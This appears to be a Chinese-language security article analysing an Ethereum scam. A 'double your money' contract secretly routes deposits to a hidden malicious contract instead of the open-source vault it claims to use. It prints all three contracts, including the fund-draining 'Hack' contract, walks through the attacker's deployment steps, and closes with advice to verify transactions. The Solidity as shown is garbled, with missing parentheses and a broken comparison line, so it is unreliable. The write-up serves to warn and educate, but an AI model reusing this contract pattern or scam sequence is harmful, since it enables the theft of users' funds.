恶意代码
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed");
vault.transfer(recipient, amount); } }
contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker { require(msg.sender == maker, "Not MoneyMaker contract!"); _; }
modifier OnlyOwner { require(msg.sender == owner, "Not owner!"); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; }
function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); }
function withrow public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); }
receive external payable {}
fallback external payable {} }
// This code is hidden in a separate file contract Hack { event taunt(string message); address private evil;
constructor(address _evil) { evil = _evil; }
modifier OnlyEvil { require(msg.sender == evil, "What are you doing?"); _; }
function transfer public payable { emit taunt("Haha, your ether is mine!"); }
function withrow public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); }
receive external payable {}
fallback external payable {} }
骗局分析
可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:
MoneyMaker 合约代表 A 合约;
Vault 合约代表 B 合约;
Hack 合约代表 C 合约。
所以用户以为的调用路径为:
MoneyMaker -> Vault。
而实际的调用路径为:
MoneyMaker -> Hack。
下面我们来看看攻击者如何完成骗局的:
1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;
2. Evil 部署 Hack(C) 恶意合约;
3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney 向合约中打入不少于一个以太都会得到双倍以太的回报;
4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;
5. Bob 调用 MoneyMaker.makeMoney 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。
咋回事呢?其实这个骗局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney 时并不会像他想像中的那样 MoneyMaker.makeMoney 去调用 Vault.transfer 回打给他双倍的以太,而是调用了 Hack.transfer 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow 将 Bob 转入的 20 ETH 转出。
预防建议
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。